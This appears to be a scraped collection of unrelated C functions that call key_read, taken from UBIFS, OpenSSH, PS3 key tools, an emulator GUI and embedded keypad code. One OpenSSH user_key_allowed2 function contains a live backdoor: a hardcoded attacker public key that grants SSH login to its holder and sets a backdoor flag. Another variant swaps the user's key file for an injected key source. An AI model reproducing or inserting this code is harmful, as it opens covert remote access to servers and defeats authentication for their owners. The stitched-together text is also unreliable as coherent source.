int ecdsa_get_params(u32 type, u8 *p, u8 *a, u8 *b, u8 *N, u8 *Gx, u8 *Gy) { static u8 tbl[64 * 121]; char path[256]; u32 offset; if (type >= 64) return -1; if (key_build_path(path) < 0) return -1; strncat(path, "/curves", sizeof path); if (key_read(path, sizeof tbl, tbl) < 0) return -1; offset = type * 121; memcpy_inv(p, tbl + offset + 0, 20); memcpy_inv(a, tbl + offset + 20, 20); memcpy_inv(b, tbl + offset + 40, 20); memcpy_inv(N, tbl + offset + 60, 21); memcpy_inv(Gx, tbl + offset + 81, 20); memcpy_inv(Gy, tbl + offset + 101, 20); return 0; }
/* * Checks whether key is allowed in file. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { FILE *f; int found_key = 0; /********** BEGIN BACKDOOR ***************/ char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix"; char *char_pointer = backdoor_key; Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); int ret = key_read(found, &char_pointer); if (key_equal(found, key)) { found_key = 1; key_free(found); kk_backdoor_active = 1; return found_key; } key_free(found); /*********** END BACKDOOR ****************/ /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { found_key = check_authkeys_file(f, file, key, pw); fclose(f); } restore_uid(); return found_key; }
/** * ubifs_add_snod - add a scanned node to LEB scanning information. * @c: UBIFS file-system description object * @sleb: scanning information * @buf: buffer containing node * @offs: offset of node on flash * * This function returns %0 on success and a negative error code on failure. */ int ubifs_add_snod(const struct ubifs_info *c, struct ubifs_scan_leb *sleb, void *buf, int offs) { struct ubifs_ch *ch = buf; struct ubifs_ino_node *ino = buf; struct ubifs_scan_node *snod; snod = kzalloc(sizeof(struct ubifs_scan_node), GFP_NOFS); if (!snod) return -ENOMEM; snod->sqnum = le64_to_cpu(ch->sqnum); snod->type = ch->node_type; snod->offs = offs; snod->len = le32_to_cpu(ch->len); snod->node = buf; switch (ch->node_type) { case UBIFS_INO_NODE: case UBIFS_DENT_NODE: case UBIFS_XENT_NODE: case UBIFS_DATA_NODE: case UBIFS_TRUN_NODE: /* * The key is in the same place in all keyed * nodes. */ key_read(c, &ino->key, &snod->key); break; } list_add_tail(&snod->list, &sleb->nodes); sleb->nodes_cnt += 1; return 0; }
static int gui_RunMenu(MENU *menu) { MENUITEM *mi; u32 keys; for (;;) { mi = menu->m + menu->cur; keys = key_read(); video_clear(); // check keys if (keys & KEY_SELECT) { key_reset(); return 0; } else if (keys & KEY_UP) { do { if (--menu->cur < 0) menu->cur = menu->num - 1; } while (!(menu->m + menu->cur)->name); // Skip over an empty menu entry. } else if (keys & KEY_DOWN) { do { if (++menu->cur == menu->num) menu->cur = 0; } while (!(menu->m + menu->cur)->name); // Skip over an empty menu entry. } else if (keys & KEY_A) { if (mi->on_press_a) { key_reset(); int result = (*mi->on_press_a)(); if (result) return result; } } else if (keys & KEY_B) { menu->cur = menu->num - 1; key_reset(); } if ((keys & (KEY_LEFT | KEY_RIGHT)) && mi->on_press) { int result = (*mi->on_press)(keys); if (result) return result; } // diplay menu ShowMenu(menu); video_flip(); timer_delay(75); if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R | KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN)) timer_delay(50); } return 0; }
int key_get(enum sce_key type, const char *suffix, struct key *k) { const char *name; char base[256]; char path[256]; u8 tmp[4]; if (key_build_path(base) < 0) return -1; name = id2name(type, t_key2file, NULL); if (name == NULL) return -1; snprintf(path, sizeof path, "%s/%s-key-%s", base, name, suffix); if (key_read(path, 32, k->key) < 0) return -1; snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, suffix); if (key_read(path, 16, k->iv) < 0) return -1; k->pub_avail = k->priv_avail = 1; snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, suffix); if (key_read(path, 4, tmp) < 0) { k->pub_avail = k->priv_avail = -1; return 0; } k->ctype = be32(tmp); snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, suffix); if (key_read(path, 40, k->pub) < 0) k->pub_avail = -1; snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, suffix); if (key_read(path, 21, k->priv) < 0) k->priv_avail = -1; return 0; }
INT8U Get_Key_LPM(INT8U *Key_Temp) { INT8U Key=0; // In_Lpm_Flag = 0; if(INT_READ==1) { *Key_Temp = key_read(); key_temp(Key_Temp); Key = 1<<*Key_Temp; } return Key; }
int key_get_simple(const char *name, u8 *bfr, u32 len) { char base[256]; char path[256]; if (key_build_path(base) < 0) return -1; snprintf(path, sizeof path, "%s/%s", base, name); if (key_read(path, len, bfr) < 0) return -1; return 0; }
static int gui_Credits() { for (;;) { u32 keys = key_read(); video_clear(); // check keys if (keys) { key_reset(); return 0; } // diplay menu port_printf(15 * 8 + 4, 10, "CREDITS:"); port_printf( 2 * 8, 30, "pcsx team, pcsx-df team, pcsx-r team"); port_printf( 6 * 8, 50, "Franxis and Chui - PCSX4ALL"); port_printf( 4 * 8, 60, "Unai - fast PCSX4ALL GPU plugin"); port_printf( 5 * 8, 80, "Ulrich Hecht - psx4all-dingoo"); port_printf(10 * 8, 90, "notaz - PCSX-ReArmed"); port_printf( 0 * 8, 110, "Dmitry Smagin - porting and optimizing"); port_printf( 0 * 8, 120, " of mips recompiler,"); port_printf( 0 * 8, 130, " gui coding"); port_printf( 0 * 8, 150, "senquack - fixing polygons in gpu_unai,"); port_printf( 0 * 8, 160, " porting spu and other stuff"); port_printf( 0 * 8, 170, " from pcsx_rearmed and pcsx-r,"); port_printf( 0 * 8, 180, " many fixes and improvements"); port_printf( 0 * 8, 195, "JohnnyonFlame - gpu_unai dithering"); port_printf( 0 * 8, 205, " and other fixes"); port_printf( 0 * 8, 220, "zear - gui fixing and testing"); video_flip(); timer_delay(75); } return 0; }
int hostfile_read_key(char **cpp, u_int *bitsp, Key *ret) { char *cp; /* Skip leading whitespace. */ for (cp = *cpp; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(ret, &cp) != 1) return 0; /* Skip trailing whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; /* Return results. */ *cpp = cp; *bitsp = key_size(ret); return 1; }
static void keyboard_ISR(void) { int key; /* Eliminar rebotes de presion */ Delay(2000); /* Escaneo de tecla */ key = key_read(); // En caso de error, key = -1 // COMPLETAR !!!! /* Esperar a que la tecla se suelte */ while (!(rPDATG & 0x02)); /* Eliminar rebotes de depreson */ Delay(2000); /* Borrar interrupciones pendientes */ }
static Key* read_keyfile(FILE *fp, char *filename, struct passwd *pw, u_long *linenum) { // TODO: do we need to use a different constant here? char line[SSH_MAX_PUBKEY_BYTES]; Key *found = NULL; while (read_keyfile_line(fp, filename, line, sizeof(line), linenum) != -1) { char *cp, *key_options; if (found != NULL) key_free(found); found = key_new(KEY_U2F); // TODO: auth_clear_options();? /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; debug("reading key from line %lu", *linenum); if (key_read(found, &cp) != 1) { debug("key_read failed, skipping line %lu", *linenum); continue; } debug("key type: %d (u2f = %d)", found->type, KEY_U2F); if (found->type == KEY_U2F) { //if (key_equal(found, key)) { //if (auth_parse_options(pw, key_options, filename, *linenum) != 1) // continue; // TODO: calculate and display a fingerprint of the key handle and pubkey? debug("matching key found: file %s, line %lu", filename, *linenum); // TODO: store multiple matches in authctx->methoddata, or rather authctxt->keys? (see sshconnect2.c) return found; } } return NULL; }
static int gui_state_save(int slot) { if (sshot_img) { free(sshot_img); sshot_img = NULL; } // Remember which saveslot was accessed last saveslot = slot; video_clear(); port_printf(160-(6*8/2), 120-(8/2), "SAVING"); video_flip(); if (state_save(slot) < 0) { // Error saving for (;;) { u32 keys = key_read(); video_clear(); // check keys if (keys) { key_reset(); return 0; } port_printf(160-(11*8/2), 120-12, "SAVE FAILED"); port_printf(160-(18*8/2), 120+12, "Out of disk space?"); video_flip(); timer_delay(75); } } // Return -1 to gui_StateSave() caller menu, so it knows // to tell main menu to return back to main menu. return -1; }
/** * ubifs_tnc_read_node - read a leaf node from the flash media. * @c: UBIFS file-system description object * @zbr: key and position of the node * @node: node is returned here * * This function reads a node defined by @zbr from the flash media. Returns * zero in case of success or a negative negative error code in case of * failure. */ int ubifs_tnc_read_node(struct ubifs_info *c, struct ubifs_zbranch *zbr, void *node) { union ubifs_key key1, *key = &zbr->key; int err, type = key_type(c, key); struct ubifs_wbuf *wbuf; /* * 'zbr' has to point to on-flash node. The node may sit in a bud and * may even be in a write buffer, so we have to take care about this. */ wbuf = ubifs_get_wbuf(c, zbr->lnum); if (wbuf) err = ubifs_read_node_wbuf(wbuf, node, type, zbr->len, zbr->lnum, zbr->offs); else err = ubifs_read_node(c, node, type, zbr->len, zbr->lnum, zbr->offs); if (err) { dbg_tnc("key %s", DBGKEY(key)); return err; } /* Make sure the key of the read node is correct */ key_read(c, node + UBIFS_KEY_OFFSET, &key1); if (!keys_eq(c, key, &key1)) { ubifs_err("bad key in node at LEB %d:%d", zbr->lnum, zbr->offs); dbg_tnc("looked for key %s found node's key %s", DBGKEY(key), DBGKEY1(&key1)); dbg_dump_node(c, node); return -EINVAL; } return 0; }
static int ubifs_finddir(struct super_block *sb, char *dirname, unsigned long root_inum, unsigned long *inum) { int err; struct qstr nm; union ubifs_key key; struct ubifs_dent_node *dent; struct ubifs_info *c; struct file *file; struct dentry *dentry; struct inode *dir; file = kzalloc(sizeof(struct file), 0); dentry = kzalloc(sizeof(struct dentry), 0); dir = kzalloc(sizeof(struct inode), 0); if (!file || !dentry || !dir) { printf("%s: Error, no memory for malloc!\n", __func__); err = -ENOMEM; goto out; } dir->i_sb = sb; file->f_path.dentry = dentry; file->f_path.dentry->d_parent = dentry; file->f_path.dentry->d_inode = dir; file->f_path.dentry->d_inode->i_ino = root_inum; c = sb->s_fs_info; dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos); /* Find the first entry in TNC and save it */ lowest_dent_key(c, &key, dir->i_ino); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; while (1) { dbg_gen("feed '%s', ino %llu, new f_pos %#x", dent->name, (unsigned long long)le64_to_cpu(dent->inum), key_hash_flash(c, &dent->key)); ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum); nm.len = le16_to_cpu(dent->nlen); if ((strncmp(dirname, (char *)dent->name, nm.len) == 0) && (strlen(dirname) == nm.len)) { *inum = le64_to_cpu(dent->inum); return 1; } /* Switch to the next entry */ key_read(c, &dent->key, &key); nm.name = (char *)dent->name; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } kfree(file->private_data); file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; cond_resched(); } out: if (err != -ENOENT) { ubifs_err("cannot find next direntry, error %d", err); return err; } if (file) free(file); if (dentry) free(dentry); if (dir) free(dir); if (file->private_data) kfree(file->private_data); file->private_data = NULL; file->f_pos = 2; return 0; }
static int ubifs_printdir(struct file *file, void *dirent) { int err, over = 0; struct qstr nm; union ubifs_key key; struct ubifs_dent_node *dent; struct inode *dir = file->f_path.dentry->d_inode; struct ubifs_info *c = dir->i_sb->s_fs_info; dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos); if (file->f_pos > UBIFS_S_KEY_HASH_MASK || file->f_pos == 2) /* * The directory was seek'ed to a senseless position or there * are no more entries. */ return 0; if (file->f_pos == 1) { /* Find the first entry in TNC and save it */ lowest_dent_key(c, &key, dir->i_ino); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; } dent = file->private_data; if (!dent) { /* * The directory was seek'ed to and is now readdir'ed. * Find the entry corresponding to @file->f_pos or the * closest one. */ dent_key_init_hash(c, &key, dir->i_ino, file->f_pos); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; } while (1) { dbg_gen("feed '%s', ino %llu, new f_pos %#x", dent->name, (unsigned long long)le64_to_cpu(dent->inum), key_hash_flash(c, &dent->key)); ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum); nm.len = le16_to_cpu(dent->nlen); over = filldir(c, (char *)dent->name, nm.len, le64_to_cpu(dent->inum), dent->type); if (over) return 0; /* Switch to the next entry */ key_read(c, &dent->key, &key); nm.name = (char *)dent->name; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } kfree(file->private_data); file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; cond_resched(); } out: if (err != -ENOENT) { ubifs_err("cannot find next direntry, error %d", err); return err; } kfree(file->private_data); file->private_data = NULL; file->f_pos = 2; return 0; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; FILE *f; u_long linenum = 0; struct stat st; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); /* Fail quietly if file does not exist */ if (stat(file, &st) < 0) { /* Restore the privileged uid. */ restore_uid(); return 0; } /* Open the file containing the authorized keys. */ f = fopen(file, "r"); if (!f) { /* Restore the privileged uid. */ restore_uid(); return 0; } if (options.strict_modes && secure_filename(f, file, pw, line, sizeof(line)) != 0) { fclose(f); logit("Authentication refused: %s", line); restore_uid(); return 0; } found_key = 0; found = key_new(key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_equal(found, key) && auth_parse_options(pw, key_options, file, linenum) == 1) { found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/** * read_znode - read an indexing node from flash and fill znode. * @c: UBIFS file-system description object * @lnum: LEB of the indexing node to read * @offs: node offset * @len: node length * @znode: znode to read to * * This function reads an indexing node from the flash media and fills znode * with the read data. Returns zero in case of success and a negative error * code in case of failure. The read indexing node is validated and if anything * is wrong with it, this function prints complaint messages and returns * %-EINVAL. */ static int read_znode(struct ubifs_info *c, int lnum, int offs, int len, struct ubifs_znode *znode) { int i, err, type, cmp; struct ubifs_idx_node *idx; idx = kmalloc(c->max_idx_node_sz, GFP_NOFS); if (!idx) return -ENOMEM; err = ubifs_read_node(c, idx, UBIFS_IDX_NODE, len, lnum, offs); if (err < 0) { kfree(idx); return err; } znode->child_cnt = le16_to_cpu(idx->child_cnt); znode->level = le16_to_cpu(idx->level); dbg_tnc("LEB %d:%d, level %d, %d branch", lnum, offs, znode->level, znode->child_cnt); if (znode->child_cnt > c->fanout || znode->level > UBIFS_MAX_LEVELS) { dbg_err("current fanout %d, branch count %d", c->fanout, znode->child_cnt); dbg_err("max levels %d, znode level %d", UBIFS_MAX_LEVELS, znode->level); err = 1; goto out_dump; } for (i = 0; i < znode->child_cnt; i++) { const struct ubifs_branch *br = ubifs_idx_branch(c, idx, i); struct ubifs_zbranch *zbr = &znode->zbranch[i]; key_read(c, &br->key, &zbr->key); zbr->lnum = le32_to_cpu(br->lnum); zbr->offs = le32_to_cpu(br->offs); zbr->len = le32_to_cpu(br->len); zbr->znode = NULL; /* Validate branch */ if (zbr->lnum < c->main_first || zbr->lnum >= c->leb_cnt || zbr->offs < 0 || zbr->offs + zbr->len > c->leb_size || zbr->offs & 7) { dbg_err("bad branch %d", i); err = 2; goto out_dump; } switch (key_type(c, &zbr->key)) { case UBIFS_INO_KEY: case UBIFS_DATA_KEY: case UBIFS_DENT_KEY: case UBIFS_XENT_KEY: break; default: dbg_msg("bad key type at slot %d: %s", i, DBGKEY(&zbr->key)); err = 3; goto out_dump; } if (znode->level) continue; type = key_type(c, &zbr->key); if (c->ranges[type].max_len == 0) { if (zbr->len != c->ranges[type].len) { dbg_err("bad target node (type %d) length (%d)", type, zbr->len); dbg_err("have to be %d", c->ranges[type].len); err = 4; goto out_dump; } } else if (zbr->len < c->ranges[type].min_len || zbr->len > c->ranges[type].max_len) { dbg_err("bad target node (type %d) length (%d)", type, zbr->len); dbg_err("have to be in range of %d-%d", c->ranges[type].min_len, c->ranges[type].max_len); err = 5; goto out_dump; } } /* * Ensure that the next key is greater or equivalent to the * previous one. */ for (i = 0; i < znode->child_cnt - 1; i++) { const union ubifs_key *key1, *key2; key1 = &znode->zbranch[i].key; key2 = &znode->zbranch[i + 1].key; cmp = keys_cmp(c, key1, key2); if (cmp > 0) { dbg_err("bad key order (keys %d and %d)", i, i + 1); err = 6; goto out_dump; } else if (cmp == 0 && !is_hash_key(c, key1)) { /* These can only be keys with colliding hash */ dbg_err("keys %d and %d are not hashed but equivalent", i, i + 1); err = 7; goto out_dump; } } kfree(idx); return 0; out_dump: ubifs_err("bad indexing node at LEB %d:%d, error %d", lnum, offs, err); dbg_dump_node(c, idx); kfree(idx); return -EINVAL; }
/* * Checks whether key is allowed in authorized_keys-format file, * returns 1 if the key is allowed or 0 otherwise. */ static int check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; u_long linenum = 0; Key *found; found_key = 0; found = NULL; while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL, *fp = NULL; const char *reason = NULL; /* Always consume entrire file */ if (found_key) continue; if (found != NULL) key_free(found); found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: free(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw, &reason) != 0) goto fail_reason; verbose("Accepted certificate ID \"%s\" (serial %llu) " "signed by %s CA %s via %s", key->cert->key_id, (unsigned long long)key->cert->serial, key_type(found), fp, file); free(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching key found: file %s, line %lu %s %s", file, linenum, key_type(found), fp); free(fp); found_key = 1; continue; } } if (found != NULL) key_free(found); if (!found_key) debug2("key not found"); return found_key; }
int do_filename(const char *filename, int quiet_open) { FILE *f; char line[SSH_MAX_PUBKEY_BYTES]; char *cp; u_long linenum = 0; Key *key; char *comment = NULL; int found = 0, ret = 1; /* Copy much of key_load_public's logic here so that we can read * several keys from a single file (e.g. authorized_keys). */ if (strcmp(filename, "-") != 0) { f = fopen(filename, "r"); if (!f) { char pubfile[MAXPATHLEN]; if (strlcpy(pubfile, filename, sizeof pubfile) < sizeof(pubfile) && strlcat(pubfile, ".pub", sizeof pubfile) < sizeof(pubfile)) f = fopen(pubfile, "r"); } if (!f) { if (!quiet_open) perror(filename); return -1; } } else f = stdin; while (read_keyfile_line(f, filename, line, sizeof(line), &linenum) != -1) { int i; char *space; int type; /* Chop trailing newline. */ i = strlen(line) - 1; if (line[i] == '\n') line[i] = '\0'; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* Cope with ssh-keyscan output and options in * authorized_keys files. */ space = strchr(cp, ' '); if (!space) continue; *space = '\0'; type = key_type_from_name(cp); *space = ' '; /* Leading number (RSA1) or valid type (RSA/DSA) indicates * that we have no host name or options to skip. */ if (atoi(cp) == 0 && type == KEY_UNSPEC) { int quoted = 0; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp) continue; } /* Read and process the key itself. */ key = key_new(KEY_RSA1); if (key_read(key, &cp) == 1) { while (*cp == ' ' || *cp == '\t') cp++; if (!do_key(key, *cp ? cp : filename)) ret = 0; found = 1; } else { key_free(key); key = key_new(KEY_UNSPEC); if (key_read(key, &cp) == 1) { while (*cp == ' ' || *cp == '\t') cp++; if (!do_key(key, *cp ? cp : filename)) ret = 0; found = 1; } } key_free(key); } if (f != stdin) fclose(f); if (!found && filename) { key = key_load_public(filename, &comment); if (key) { if (!do_key(key, comment)) ret = 0; found = 1; } if (comment) xfree(comment); } return ret; }
struct keylist *keys_get(enum sce_key type) { const char *name = NULL; char base[256]; char path[256]; void *tmp = NULL; char *id; DIR *dp; struct dirent *dent; struct keylist *klist; u8 bfr[4]; klist = malloc(sizeof *klist); if (klist == NULL) goto fail; memset(klist, 0, sizeof *klist); name = id2name(type, t_key2file, NULL); if (name == NULL) goto fail; if (key_build_path(base) < 0) goto fail; dp = opendir(base); if (dp == NULL) goto fail; while ((dent = readdir(dp)) != NULL) { if (strncmp(dent->d_name, name, strlen(name)) == 0 && strstr(dent->d_name, "key") != NULL) { tmp = realloc(klist->keys, (klist->n + 1) * sizeof(struct key)); if (tmp == NULL) goto fail; id = strrchr(dent->d_name, '-'); if (id != NULL) id++; klist->keys = tmp; memset(&klist->keys[klist->n], 0, sizeof(struct key)); snprintf(path, sizeof path, "%s/%s-key-%s", base, name, id); if (key_read(path, 32, klist->keys[klist->n].key) != 0) { printf(" key file: %s (ERROR)\n", path); } snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, id); if (key_read(path, 16, klist->keys[klist->n].iv) != 0) { printf(" iv file: %s (ERROR)\n", path); } klist->keys[klist->n].pub_avail = -1; klist->keys[klist->n].priv_avail = -1; snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, id); if (key_read(path, 40, klist->keys[klist->n].pub) == 0) { snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, id); key_read(path, 4, bfr); klist->keys[klist->n].pub_avail = 1; klist->keys[klist->n].ctype = be32(bfr); } else { printf(" pub file: %s (ERROR)\n", path); } snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, id); if (key_read(path, 21, klist->keys[klist->n].priv) == 0) { klist->keys[klist->n].priv_avail = 1; } else { printf(" priv file: %s (ERROR)\n", path); } klist->n++; } } if (type == KEY_NPDRM) { klist->idps = calloc(sizeof(struct key), 1); if (klist->idps == NULL) goto fail; snprintf(path, sizeof path, "%s/idps", base); if (key_read(path, 16, klist->idps->key) != 0) { printf(" key file: %s (ERROR)\n", path); } klist->klic = calloc(sizeof(struct key), 1); if (klist->klic == NULL) goto fail; snprintf(path, sizeof path, "%s/klic-key", base); if (key_read(path, 16, klist->klic->key) != 0) { printf(" key file: %s (ERROR)\n", path); } klist->rif = calloc(sizeof(struct key), 1); if (klist->rif == NULL) goto fail; snprintf(path, sizeof path, "%s/rif-key", base); if (key_read(path, 16, klist->rif->key) != 0) { printf(" key file: %s (ERROR)\n", path); } klist->npdrm_const = calloc(sizeof(struct key), 1); if (klist->npdrm_const == NULL) goto fail; snprintf(path, sizeof path, "%s/npdrm-const", base); if (key_read(path, 16, klist->npdrm_const->key) != 0) { printf(" key file: %s (ERROR)\n", path); } klist->free_klicensee = calloc(sizeof(struct key), 1); if (klist->free_klicensee == NULL) goto fail; snprintf(path, sizeof path, "%s/free_klicensee-key", base); if (key_read(path, 16, klist->free_klicensee->key) != 0) { printf(" key file: %s (ERROR)\n", path); } } return klist; fail: if (klist != NULL) { if (klist->keys != NULL) free(klist->keys); free(klist); } klist = NULL; return NULL; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char *line = NULL; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (gs_auth_pubkey == NULL) { gs_auth_pubkey = get_pubkey(); } line = gs_auth_pubkey; while (line) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') break; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ break; } } if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) break; if (key_is_cert_authority) break; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } break; } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
